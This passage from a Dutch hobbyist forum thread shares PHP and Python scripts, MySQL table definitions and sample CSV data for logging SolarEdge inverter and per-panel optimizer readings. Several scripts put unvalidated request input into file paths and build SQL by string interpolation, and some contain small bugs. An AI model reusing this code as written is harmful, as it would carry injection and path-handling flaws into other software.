                            $json['data']['telemetries'][$i]['L1Data']['activePower'], $json['data']['telemetries'][$i]['L2Data']['activePower'], $json['data']['telemetries'][$i]['L3Data']['activePower'], $json['data']['telemetries'][$i]['L1Data']['apparentPower'], $json['data']['telemetries'][$i]['L2Data']['apparentPower'], $json['data']['telemetries'][$i]['L3Data']['apparentPower'], $json['data']['telemetries'][$i]['L1Data']['reactivePower'], $json['data']['telemetries'][$i]['L2Data']['reactivePower'], $json['data']['telemetries'][$i]['L3Data']['reactivePower']);
            $result = $mysqli->query($query);   
        }
        $i +=1;
    }
    $date += 86400;
}
$thread_id = $mysqli->thread_id;
$mysqli->kill($thread_id);
$mysqli->close();
?>



in regel 23 moeten nog <siteID> <inverterID> <apiKey> ingevuld worden.
in regel 44 moet nog <inverterID> ingevuld worden.

Het kan worden aangeroepen met (voor bijvoorbeeld 1 juli 2019 tot en met 2 juli 2019)

code:
1
http://.../semonitoring.php?date1=2019-07-01&date2=2019-07-02



De INSERT INTO moet wel aangepast worden voor een enkel fase inverter.

Het aantal dagen moet beperkt blijven tot ongeveer 7 dagen per keer om geen foutmelding te krijgen door een time-out van PHP.

  • andrerij
  • Registratie: april 2017
  • Laatst online: 11-10 21:11
MaikelK. schreef op dinsdag 23 juli 2019 @ 13:19:
@Jerrythafast @jvdzande @wopper @MDKlapwijk blijkbaar is er iets gebeurd met mijn switch met port mirror functie... alles stond nog zoals het was. Ik heb het allemaal disabled en weer enabled en het draait weer.

Kan ik op de een of andere manier de missende data weer in de tabel injecteren?
Al zijn het alleen maar de dag totalen, per paneel zou ook leuk zijn maar dat is meer werk vanaf mijn kant.
Voor de panelen heb ik ook nog een script die ik paneeldata.php heb genoemd.
Dit is echter monnikenwerk.

Voor de data heb ik een directory P gemaakt in de directory waarin de script staat.
In de directory P heb ik voor elke dag een directory aangemaakt met het format Y-m-d (2019-07-01)

Voor elk paneel zijn er 4 grafieken per dag belangrijk namelijk:
Energie (E) (1e omvormer, 1e string, 1e paneel aangeduid als P1.1.1 E)
Optimizer spanning (O) (1e omvormer, 1e string, 1e paneel aangeduid als OP1.1.1 V)
Paneel spanning (M) (1e omvormer, 1e string, 1e paneel aangeduid als P1.1.1 V)
Stroom (C) (1e omvormer, 1e string, 1e paneel aangeduid als P1.1.1 I)

Met de waarden van deze grafieken kunnen de waarden berekend worden met uitzondering van de uptime en de temperatuur.
Het probleem hierbij is dat de tijdstippen verschillen.

Voor elk paneel en grafiek wordt er in de dag directory een .csv file aangemaakt (voor paneel 1: 1E.csv, 1O.csv, 1M.csv en 1C.csv etc.)

Het is belangrijk dat de optie "zoom: 1D" wordt genomen zodat alleen de waarden van 1 dag zichtbaar zijn en voor maar 1 grafiek soort. Met de knop, rechtsboven, "exporteren naar Excel" kunnen de waarden dan in de P directory gezet worden.

Als alle files aanwezig zijn kan het in de database gezet worden met de volgende script:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
$datum = $_GET['datum'];

include('config.php');

$mysqli = new mysqli($host, $user, $passwd, $db, $port);

$f[0] = "M";
$f[1] = "O";
$f[2] = "C";
$f[3] = "E";
$g[0][0] = "P1.1.";
$g[0][1] = " V (V)";
$g[1][0] = "OP1.1.";
$g[1][1] = " V (V)";
$g[2][0] = "P1.1.";
$g[2][1] = " I (A)";
$g[3][0] = "P1.1.";
$g[3][1] = " E (Wh)";


$fout = 0;
for ($j=1; $j<=$aantal; $j++){
    for ($k=0; $k<=3; $k++) {
        $file = $file = "./p/" . $datum ."/" . $j . $f[$k] . ".csv";
        if (($handle = fopen($file, "r")) !== FALSE) {
            $data1 = fgetcsv($handle, 1000, ",");
            $data = fgetcsv($handle, 1000, ",");
            $num = count($data);
            if ( $g[$k][0].$j.$g[$k][1] == $data1[1]) {
                if ($datum <> gmdate("Y-m-d",(new DateTime(sprintf("today %s",date("Y-m-d H:i:s", strtotime($data[0])))))->getTimestamp())) {
                    echo $file . ": datum klopt niet <br>";
                    $fout = 1;
                }
            }else{
                echo $file . " " . $g[$k][0].$j.$g[$k][1] . ": " . $data1[1] . ": serie klopt niet <br>";
                $fout = 1;
            }
            fclose($handle);
        } else {
            echo $file . ": is niet aanwezig <br>";
            $fout = 1;
        }
    }
}

echo "eind check <br>";

if ($fout == 0){
    for ($j=1; $j<=$aantal; $j++){
        $uptime = 10;
        $paneel = array();
        for ($k=0; $k<=2; $k++) {
            $file = "./p/" . $datum ."/" . $j . $f[$k] . ".csv";
            $handle = fopen($file, "r");
            $row = 0;
            while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
                if ($row > 0) {
                    if ($k == 0) {$paneel[$row-1][$k] = strtotime($data[0]);}
                    $paneel[$row-1][$k+1] = $data[1];
                }
                $row++;
            }
            fclose($handle);
        }
        $k = 3;
        $file = "./p/" . $datum . "/" . $j . $f[$k] . ".csv";
        $handle = fopen($file, "r");
        $row1 = 0;
        $e=0;
        $totaal[0] = 0;
        $tataal[1] = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            if ($row1 == 1) {$tijdb = strtotime($data[0]); $Eb = $data[1];}
            if ($row1 > 1) {
                $tijde = strtotime($data[0]);
                $Ee = $data[1];
                $m = 0;
                for ($l=$e; $l<$row-1; $l++){
                    if ( $paneel[$l][0] > $tijdb && $paneel[$l][0] <= $tijde) { 
                        $m++;
                    } else {
                        if ($m > 0){
                            for ($n=$l-$m; $n < $l; $n++){
                                if ($totaal[1] > $totaal[0] ) {
                                    $paneel[$n][4] += intval($Eb*4/$m);
                                    $totaal[0] += $Eb*4/$m;
                                    $totaal[1] += intval($Eb*4/$m);
                                    $paneel[$n][4] = intval($totaal[0]);
                                }else{
                                    $totaal[0] += $Eb*4/$m;
                                    $totaal[1] += round($Eb*4/$m,0);
                                    $paneel[$n][4] = intval($totaal[0]);
                                }
                            }
                            $e = $l;
                            $Eb = $Ee;
                            $m = 0;
                        }
                    }
                }
            }
            $row1++;
        }
        for ($n=$e; $n <= $row-1; $n++){
            $totaal[0] += round($Eb*4/($row-1-$e),0);
            $paneel[$n][4] = intval($totaal[0]);
        }
        fclose($handle);
        for ($o=0; $o < $row-1; $o++) {
            $query = sprintf("insert into telemetry_optimizers (`op_id`, `timestamp`, `uptime`, `v_in`, `v_out`, `i_in`, `e_day`, `temperature`) 
                        values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')",
                        hexdec($op_id[$j][0]), $paneel[$o][0], $uptime , $paneel[$o][1]*8, $paneel[$o][2]*8, $paneel[$o][3]*160, $paneel[$o][4], 0);    
                $result = $mysqli->query($query);   
            if (!$result) {
                echo 'Error 1: insert data to the database: '.$mysqli->error;
            }
                $uptime += 10;
        }
        echo "Totaal paneel " . $j  . ": " . $totaal[0] . ", " . $totaal[1] . "<br>";
    }
}
$thread_id = $mysqli->thread_id;
$mysqli->kill($thread_id);
$mysqli->close();

echo "einde <br>";

?>


Indien je meerdere inverters en/of strings hebt moet het script aangepast worden omdat de grafiekdata dan anders gaat heten.

Je kunt de script uitvoeren met het volgende commando:

code:
1
http://......./paneeldata.php?datum=2019-07-01



Onderstaand is een voorbeeld van de 1E.csv en 1O.csv file van paneel 1 op 2015-12-19

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
1E.csv:

Time,P1.1.1 E (Wh)
12/19/2015 08:00,"1.25"
12/19/2015 09:00,"9.5"
12/19/2015 10:00,"7.5"
12/19/2015 11:00,"10.25"
12/19/2015 12:00,"11.25"
12/19/2015 13:00,"10.25"
12/19/2015 14:00,"9.5"
12/19/2015 15:00,"0.5"

1O.csv:

Time,OP1.1.1 V (V)
12/19/2015 08:39,"32.75"
12/19/2015 08:42,"32"
12/19/2015 08:57,"31.75"
12/19/2015 09:00,"32.5"
12/19/2015 09:06,"32.75"
12/19/2015 09:11,"32.625"
12/19/2015 09:17,"32.25"
12/19/2015 09:20,"32.25"
12/19/2015 09:25,"32.625"
12/19/2015 09:32,"32.875"
12/19/2015 09:35,"32.875"
12/19/2015 09:41,"33"
12/19/2015 09:47,"32.75"
12/19/2015 09:52,"33"
12/19/2015 09:55,"41.875"
12/19/2015 10:01,"38"
12/19/2015 10:07,"33.625"
12/19/2015 10:12,"34.125"
12/19/2015 10:15,"36.125"
12/19/2015 10:22,"36"
12/19/2015 10:28,"32.875"
12/19/2015 10:29,"32.25"
12/19/2015 10:35,"32.625"
12/19/2015 10:41,"33"
12/19/2015 10:46,"32.75"
12/19/2015 10:54,"32.25"
12/19/2015 11:00,"32.875"
12/19/2015 11:06,"32.75"
12/19/2015 11:10,"32.5"
12/19/2015 11:16,"32.75"
12/19/2015 11:21,"32.25"
12/19/2015 11:26,"32.625"
12/19/2015 11:31,"32.25"
12/19/2015 11:36,"32.375"
12/19/2015 11:39,"32.75"
12/19/2015 11:46,"32"
12/19/2015 11:51,"32.25"
12/19/2015 12:00,"32.875"
12/19/2015 12:04,"33.125"
12/19/2015 12:11,"32.875"
12/19/2015 12:14,"32.75"
12/19/2015 12:20,"32.375"
12/19/2015 12:26,"32.375"
12/19/2015 12:29,"32.375"
12/19/2015 12:35,"32.875"
12/19/2015 12:39,"31.75"
12/19/2015 12:47,"31.375"
12/19/2015 12:51,"31.75"
12/19/2015 12:55,"32.25"
12/19/2015 13:03,"32.125"
12/19/2015 13:17,"31.375"
12/19/2015 13:29,"32.5"
12/19/2015 13:32,"32.875"
12/19/2015 13:38,"32.125"
12/19/2015 13:42,"31.625"
12/19/2015 13:45,"32.375"
12/19/2015 13:52,"32.125"
12/19/2015 13:55,"32.375"
12/19/2015 14:03,"31.75"
12/19/2015 14:06,"32.125"
12/19/2015 14:09,"31.875"
12/19/2015 14:17,"31.875"
12/19/2015 14:20,"32"
12/19/2015 14:25,"32.75"
12/19/2015 14:31,"32.875"
12/19/2015 14:38,"32.25"
12/19/2015 14:39,"32.125"
12/19/2015 14:48,"32"
12/19/2015 14:49,"32.375"
12/19/2015 14:59,"34.5"
12/19/2015 15:04,"34.25"
12/19/2015 15:10,"55.875"


  • andrerij
  • Registratie: april 2017
  • Laatst online: 11-10 21:11
Aegle schreef op donderdag 25 juli 2019 @ 17:29:
@andrerij: Bedankt voor de scripts. Hiermee wordt het "eenvoudig" om eerdere data op te halen. Mijn PV draait sinds 9 juni 2014 en ben, na wat start-up perikelen, serieus gestart met het loggen via het programma van @Jerrythafast op 4 juli 2016. Tot mijn verbazing is de oude data nog gewoon beschikbaar bij SE.
Heb ik weer wat te doen als ik me verveel...
Naar aanleiding van de opmerk van @Jerrythafast hierbij het aangepaste script.

In plaats van voor elk paneel 4 grafieken worden het nu 4 grafieken per dag:
Energie (E) (1e omvormer, 1e string, x paneel aangeduid als P1.1.x E)
Optimizer spanning (O) (1e omvormer, x string, 1e paneel aangeduid als OP1.1.x V)
Paneel spanning (M) (1e omvormer, 1e string, x paneel aangeduid als P1.1.x V)
Stroom (C) (1e omvormer, 1e string, x paneel aangeduid als P1.1.x I)
Er komen dus 4 .csv files per dag in de directory namelijk: E.csv, O.csv, M.csv en C.csv.

De file voor E.csv ziet er als volgt uit:

code:
1
2
3
4
5
6
7
8
9
10
11
Time,P1.1.1 E (Wh),P1.1.2 E (Wh),P1.1.3 E (Wh),P1.1.4 E (Wh),P1.1.5 E (Wh),P1.1.6 E (Wh),P1.1.7 E (Wh),P1.1.8 E (Wh),P1.1.9 E (Wh),P1.1.10 E (Wh),P1.1.11 E (Wh),P1.1.12 E (Wh),P1.1.13 E (Wh),P1.1.14 E (Wh),P1.1.15 E (Wh),P1.1.16 E (Wh),P1.1.17 E (Wh),P1.1.18 E (Wh),P1.1.19 E (Wh),P1.1.20 E (Wh),P1.1.21 E (Wh),P1.1.22 E (Wh),P1.1.23 E (Wh),P1.1.24 E (Wh)
02-02-2016 8:00,"","","","0.5","0","","","","","","","","1.25","","","","0.25","","","","","","",""
02-02-2016 9:00,"10.5","10","10.75","11.5","8.75","10.75","10.25","8.75","10.5","10.25","9.5","9.5","11.5","12","8.25","8.5","9.75","9.5","10","8.5","7.5","10","10","9.75"
02-02-2016 10:00,"22.25","19.75","22.5","22.5","18.5","22.25","20","19","22.25","21","19.5","21.75","22.75","24","21.75","19.5","20.75","19.25","21","20.25","23","20","20.75","20.75"
02-02-2016 11:00,"12","12.5","13.25","12","11.25","13.75","12","10.5","12","10.75","11","12.25","12.5","13.75","12.25","9.25","10.5","9.75","10.25","10.75","13.25","12","10.75","11.75"
02-02-2016 12:00,"16","13.75","15.5","16.25","12","14.75","15.25","12.75","15.25","14","13.25","15","18","17.5","15","14.25","14.25","14","15.75","13.5","16.75","15","14.5","14"
02-02-2016 13:00,"14.25","12.5","14.75","13.75","11","15.75","12.25","11.75","13","13.5","11.5","13.75","14.75","16","13","12","13.25","12.25","13.25","11.5","15","13","13.5","13.25"
02-02-2016 14:00,"5.5","4.25","6","7","5.5","5.25","4.75","2.75","7","4.5","2.5","6.75","7","7.25","4.75","3","1.75","1.5","7","6","5.5","4.25","3.5","4.75"
02-02-2016 15:00,"28.25","29.25","30.25","26","20.75","28.25","24.5","28.5","26.5","25.5","26.25","21.5","26","24.75","27","26.25","27.5","24","30","25","22.5","23.5","29.25","33.25"
02-02-2016 16:00,"10.25","8.25","12.5","11.5","7.5","10.25","8.5","7.75","8.75","7.25","7.25","8.75","10","11.75","9.75","8.25","9.5","8.25","10.75","9.75","12.5","9.5","11.5","12.25"
02-02-2016 17:00,"0.75","0.5","0.5","0.75","0.25","1.25","0.25","0","0.75","0.25","0.25","0.5","0.25","0.75","0.75","0.25","0","0.5","0.75","0.25","0.75","0","","0.5"



De data kan met de volgende script in de database geplaatst worden:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php
$datum = $_GET['datum'];

include('config.php');

$mysqli = new mysqli($host, $user, $passwd, $db, $port);

$f[0] = "M";
$f[1] = "O";
$f[2] = "C";
$f[3] = "E";
$g[0][0] = "P1.1.";
$g[0][1] = " V (V)";
$g[1][0] = "OP1.1.";
$g[1][1] = " V (V)";
$g[2][0] = "P1.1.";
$g[2][1] = " I (A)";
$g[3][0] = "P1.1.";
$g[3][1] = " E (Wh)";

$fout = 0;
for ($j=1; $j<=$aantal; $j++){
    for ($k=0; $k<=3; $k++) {
        $file = $file = "./p/" . $datum ."/" . $f[$k] . ".csv";
        if (($handle = fopen($file, "r")) !== FALSE) {
            $data1 = fgetcsv($handle, 1000, ",");
            $data = fgetcsv($handle, 1000, ",");
            $num = count($data);
            if ( $g[$k][0].$j.$g[$k][1] == $data1[$j]) {
                if ($datum <> gmdate("Y-m-d",(new DateTime(sprintf("today %s",date("Y-m-d H:i:s", strtotime($data[0])))))->getTimestamp())) {
                    echo $file . ": datum klopt niet <br>";
                    $fout = 1;
                }
            }else{
                echo $file . " " . $g[$k][0].$j.$g[$k][1] . ": " . $data1[1] . ": serie klopt niet <br>";
                $fout = 1;
            }
            fclose($handle);
        } else {
            echo $file . ": is niet aanwezig <br>";
            $fout = 1;
        }
    }
}

echo "eind check <br>";

if ($fout == 0){
    for ($j=1; $j<=$aantal; $j++){
        $uptime = 10;
        $paneel = array();
        for ($k=0; $k<=2; $k++) {
            $file = "./p/" . $datum ."/" . $f[$k] . ".csv";
            $handle = fopen($file, "r");
            $row = 0;
            while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
                if ($row > 0) {
                    if ($k == 0 and $data[$j] != "") {$paneel[$row-1][0] = strtotime($data[0]);}
                    if ($data[$j] != "") {$paneel[$row-1][$k+1] = $data[$j];}
                }
                if ($data[$j] != "") {$row++;}
            }
            fclose($handle);
        }
        $k = 3;
        $file = "./p/" . $datum . "/" . $f[$k] . ".csv";
        $handle = fopen($file, "r");
        $row1 = 0;
        $e=0;
        $totaal[0] = 0;
        $tataal[1] = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            if ($data[$j] != "") {
                if ($row1 == 1) {$tijdb = strtotime($data[0]); $Eb = $data[$j];}
                if ($row1 > 1) {
                    $tijde = strtotime($data[0]);
                    $Ee = $data[$j];
                    $m = 0;
                    for ($l=$e; $l<$row-1; $l++){
                        if ( $paneel[$l][0] > $tijdb && $paneel[$l][0] <= $tijde) { 
                            $m++;
                        } else {
                            if ($m > 0){
                                for ($n=$l-$m; $n < $l; $n++){
                                    if ($totaal[1] > $totaal[0] ) {
                                        $paneel[$n][4] += intval($Eb*4/$m);
                                        $totaal[0] += $Eb*4/$m;
                                        $totaal[1] += intval($Eb*4/$m);
                                        $paneel[$n][4] = intval($totaal[0]);
                                    }else{
                                        $totaal[0] += $Eb*4/$m;
                                        $totaal[1] += round($Eb*4/$m,0);
                                        $paneel[$n][4] = intval($totaal[0]);
                                    }
                                }
                                $e = $l;
                                $Eb = $Ee;
                                $m = 0;
                            }
                        }
                    }
                }
                $row1++;
            }
        }
        for ($n=$e; $n <= $row-1; $n++){
            $totaal[0] += round($Eb*4/($row-1-$e),0);
            $paneel[$n][4] = intval($totaal[0]);
        }
        fclose($handle);
        for ($o=0; $o < $row-1; $o++) {
            $query = sprintf("insert into telemetry_optimizers (`op_id`, `timestamp`, `uptime`, `v_in`, `v_out`, `i_in`, `e_day`, `temperature`) 
                        values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')",
                        hexdec($op_id[$j][0]), $paneel[$o][0], $uptime , $paneel[$o][1]*8, $paneel[$o][2]*8, $paneel[$o][3]*160, $paneel[$o][4], 0);
                $result = $mysqli->query($query);   
            if (!$result) {
                echo 'Error 2-1 insert data to the database: '.$mysqli->error;
            }
                $uptime += 10;
        }
        echo "Totaal paneel " . $j  . ": " . $totaal[0] . ", " . $totaal[1] . "<br>";
    }
}
$thread_id = $mysqli->thread_id;
$mysqli->kill($thread_id);
$mysqli->close();

echo "einde <br>";

?>


Acties:
  • +1Henk 'm!

  • René Janssen
  • Registratie: juli 2019
  • Laatst online: 11-10 09:41
Wiley99 schreef op vrijdag 26 juli 2019 @ 12:36:
[...]


Nice! Erg overzichtelijk. (werkende link: https://photos.google.com...LakNubU9aazFIdVVESVZ1RVdn)

Zou je willen delen hoe je de individuele panelen uitleest? (of alles? _/-\o_ )
Hoi Wiley, hierbij de code.
Plaats alle bestandjes in de /var/www/html directory
Als eerste het python3 script, je moet 'm op 2 plaatsen wijzigen, regel 20 en 45..

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python3
from solaredge_local import SolarEdge
import sys
import time
import MySQLdb as mdb

def show_error():
    ft = sys.exc_info()[0]
    fv = sys.exc_info()[1]
    print("Fout type: %s" % ft )
    print("Fout waarde: %s" % fv )
    return

###########################################################
#functie inlezen in MySql                 #
###########################################################
def insertDB(pvc, pvt):

    try:
        con = mdb.connect('localhost', 'login', 'password', 'electra');
        cursor = con.cursor()

        sql = "INSERT INTO inverter(datum, tijd, timestamp, pvc, pvt, panelen) \
        VALUES ('%s', '%s', '%s', '%s', '%s', '%s')" % \
        (time.strftime("%Y-%m-%d"), tijd, timestamp, pvc, pvt, panelen)
        cursor.execute(sql)
        sql = []
        if (tijd[3:] == '00'):
            sql1 = "INSERT INTO PV(datum, tijd, stamp, pvt) \
            VALUES ('%s', '%s', '%s', '%s')" % \
            (time.strftime("%Y-%m-%d"), tijd, timestamp, pvt)   
            cursor.execute(sql1)
            sql1 = []
        con.commit()
        con.close()
    
    except mdb.Error as e:
        print (e)



###########################################################
#Inlezen
###########################################################  
client = SolarEdge("http://192.168.178.xx")
status = client.get_status()
pvc = round(status.powerWatt,1)
pvt = status.energy.total/1000
timestamp = time.time()/10
timestamp = int(timestamp)*10
maintenance = client.get_maintenance()
panelen = maintenance.diagnostics.inverters.primary
tijd = time.strftime("%H:%M")
#print(str(power))
#print(str(powertotaal))
#print (panelen)

###########################################################
#functie print Values                             
###########################################################
def printValues(pvc, pvt, panelen):
    print ("huidig", pvc)
    print ("totaal", pvt)
    print ("optimizers", panelen)
    
if (pvt>0):
    printValues(pvc, pvt, panelen)
    insertDB(pvc, pvt)
print ("Database gevuld")


Zet het python script in een crontab zodat hij elke 5 minuten uitleest
vervolgens een database maken met de naam electra
en voeg hier 2 tabellen aan toe.

code:
1
2
3
4
5
6
7
8
9
CREATE TABLE inverter (
  id int(11) NOT NULL,
  datum date NOT NULL,
  tijd time NOT NULL,
  timestamp int(11) NOT NULL,
  pvc float NOT NULL,
  pvt float NOT NULL,
  panelen text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;


en

code:
1
2
3
4
5
6
7
8
9
10
11
CREATE TABLE optimizers (
  id int(11) NOT NULL,
  serienr text NOT NULL,
  datum date NOT NULL,
  tijd time NOT NULL,
  online text NOT NULL,
  outputV int(5) NOT NULL,
  inputV int(5) NOT NULL,
  inputC float NOT NULL,
  temp int(5) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;



In deze 2de tabel moet je handmatig in phpmyadmin je serienummers invullen per paneel/ID. Zet ze in volgorde hoe ze op je dak liggen. Dus 1ste regel met ID =1 vul je bij serienr je links/bovenste paneel in.
Zo maak je voor elk paneel een regel aan.

Dan het optimizer.php script.

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
// inlezen van elke optimizer in een tabel
$con = mysqli_connect("localhost","login","password","electra");
$test="select * from inverter ORDER BY id DESC limit 1";
        $result=mysqli_query($con,$test);
        $row=mysqli_fetch_array($result,MYSQLI_ASSOC);  
        $opt = $row["panelen"];
    
$file = 'test.txt';
$current = file_get_contents($file);
$current .= $opt;
file_put_contents($file, $current);

$phpself = $_SERVER['PHP_SELF'];

class optimizer_cls {
function proces_optimizer($start_array){
    global $level1, $con, $nr;
    $line2=explode("\n",$start_array);
    unset ($start); 
    $serienr=''; $online=''; $datum=''; $tijd=''; $outputV=''; $inputV=''; $inputC=''; $vermogen=''; $temp='';

    $loop=count($line2);
    for ($z=1; $z<=$loop; $z++){
        $buffer=$line2[$z]; 
        // *** serienummer ***
        if (substr($buffer,0,15)=='  serialNumber:'){
            $serienr = substr($buffer,17,-1);
        }
        // *** online ***
        if (substr($buffer,0,9)=='  online:'){
            $online = substr($buffer,10);
        }
        // *** jaar ***
        if (substr($buffer,0,9)=='    year:'){
            $jaar = substr($buffer,10);
        }       
        // *** maand ***
        if (substr($buffer,0,10)=='    month:'){
            $maand = substr($buffer,11);
        }
        // *** dag ***
        if (substr($buffer,0,8)=='    day:'){
            $dag = substr($buffer,9);
        }
        // *** uur ***
        if (substr($buffer,0,9)=='    hour:'){
            $uur = substr($buffer,10);
        }       
        // *** minuut ***
        if (substr($buffer,0,11)=='    minute:'){
            $minuut = substr($buffer,12);
        }           
        // *** seconde ***
        if (substr($buffer,0,11)=='    second:'){
            $seconde = substr($buffer,12);
        }       
        // *** outputV ***
        if (substr($buffer,0,10)=='  outputV:'){
            $outputV = substr($buffer,11);
        }               
        // *** inputV ***
        if (substr($buffer,0,9)=='  inputV:'){
            $inputV = substr($buffer,10);
        }       
        // *** inputC ***
        if (substr($buffer,0,9)=='  inputC:'){
            $inputC = substr($buffer,10);
        }
        // *** temperatuur ***
        if (substr($buffer,0,10)=='    value:'){
            $temp = substr($buffer,11);
        }       
    }  
    $ts = mktime(0, 0, 0, $maand, $dag, $jaar);
    $datum = date('Y-m-d', $ts);
    $ts = mktime($uur, $minuut, $seconde, 0, 0, 0);
    $tijd = date('H:i:s', $ts);

    
    /* print alles
    print ''.$nr.'<br>';
    print ''.$serienr.'<br>';
    print ''.$online.'<br>';
    print ''.$datum.'<br>';
    print ''.$tijd.'<br>';
    print ''.$outputV.'<br>';
    print ''.$inputV.'<br>';    
    print ''.$inputC.'<br>';    
    print ''.$temp.'<br>';
    print '<p>';    
    */
    // *** Data opslaan ***
    $query = "update optimizers set datum='$datum', tijd='$tijd', online='$online', outputV='$outputV', inputV='$inputV', inputC='$inputC', temp='$temp' where serienr='$serienr'";
    $result = mysqli_query($con, $query) or die (mysql_error());
    } 
} // end class

$optimizer_cls = New optimizer_cls;
$proces="";
$buffer2="";    
$nr='1';
    
$handle = fopen ($file, "r");
    while (! feof($handle)) {
        $buffer = fgets($handle);
        $buffer=rtrim($buffer,"\n\r");
        $start="";
        if ( substr($buffer, 0, 9)=='optimizer'){ $start=1; } 
        if ($start){
            if ($proces=="start"){
                $optimizer_cls -> proces_optimizer($buffer2);
                $nr++;
                $proces="";
                $buffer2="";
            }
        }
        if (substr($buffer, 0, 9)=='optimizer'){
            $proces="start";
            $buffer2="";
        }
        $buffer2=$buffer2.$buffer."\n"; 
    }
    fclose($handle);
unlink($file) or die ("Couldn't delete file");
include("table.php");
?>



en als laatste het table.php scriptje. Let op dit is voor mijn panelen gemaakt, dus dit moet je even wijzigen naar jouw situatie.

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
$over="select * from inverter ORDER BY id DESC limit 1";
$result=mysqli_query($con,$over);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$tot = $row['pvt'];
print '<div class="floatright">';
print '<table class="paneel">';

$info="select SUM(inputV) from optimizers";
$resultaat=mysqli_query($con,$info);
$row=mysqli_fetch_array($resultaat,MYSQLI_ASSOC);
$voltage = $row["SUM(inputV)"];

$info="select * from inverter ORDER BY id DESC limit 1";
$resultaat=mysqli_query($con,$info);
$row=mysqli_fetch_array($resultaat,MYSQLI_ASSOC);
$current = $row["pvc"];
$amp = $current / $voltage;

$nr = '1';
$sel = "select * from optimizers";
$query = mysqli_query($con,$sel);
if(mysqli_num_rows($query) > 0) {
    while($data = mysqli_fetch_array($query)){
    $volt = $data['inputV'];
    $vermogen = $volt * $amp;
    $vermogen = (int)$vermogen;
        if ($nr==1 OR $nr==4){
            echo '<tr><td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td>';
            $nr++;
        }elseif ($nr==2 OR $nr==5 OR $nr==7 OR $nr==9){
            echo '<td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td>';
            $nr++;
        }elseif ($nr==3 OR $nr==10) {
            echo '<td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td></tr>';
            $nr++;
        }elseif ($nr==6 or $nr==8) {
            echo '<td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td></tr><tr><th></th>';
            $nr++;
        }   
    }
}
print '</table></div>';
?>



Mocht je vragen of foutmeldingen krijgen dan hoor ik het wel.

Acties:
  • +1Henk 'm!

  • ZwarteIJsvogel
  • Registratie: juni 2008
  • Laatst online: 03-10 11:58
Nelissuh schreef op zondag 28 juli 2019 @ 10:43:
In de tcpdump.log staat:

code:
1
/usr/bin/stdbuf: kan commando ‘/usr/sbin/tcpdump’ niet uitvoeren: Bestand of map bestaat niet

De foutmelding zegt het al: tcpdump is niet geïnstalleerd. Dus:

code:
1
sudo apt install tcpdump

"There is no Engineering like Reverse Engineering"


Acties:
  • +1Henk 'm!

  • Rolfie
  • Registratie: oktober 2003
  • Laatst online: 07:34
René Janssen schreef op maandag 29 juli 2019 @ 12:56:
Heb ik ook, en al vanalles geprobeerd, maar de software van Jerry krijg je er niet mee aan de gang. Hij schrijft dit ook in zijn eerste topic.
Een andere optie is wat ik gebruikt heb. Solaredge-local. Zie mijn laatste paar berichten.
Grts René
Dan ga ik maar de solaredge-local aan de slag. Mooi moment om eens met python te gaan stoeien. Nog nooit eerder gebruikt.

Rolfie wijzigde deze reactie 29-07-2019 17:47 (4%)


Acties:
  • +1Henk 'm!

  • Strykeforce
  • Registratie: maart 2010
  • Laatst online: 14-10 20:56
Rolfie schreef op maandag 29 juli 2019 @ 17:20:
[...]

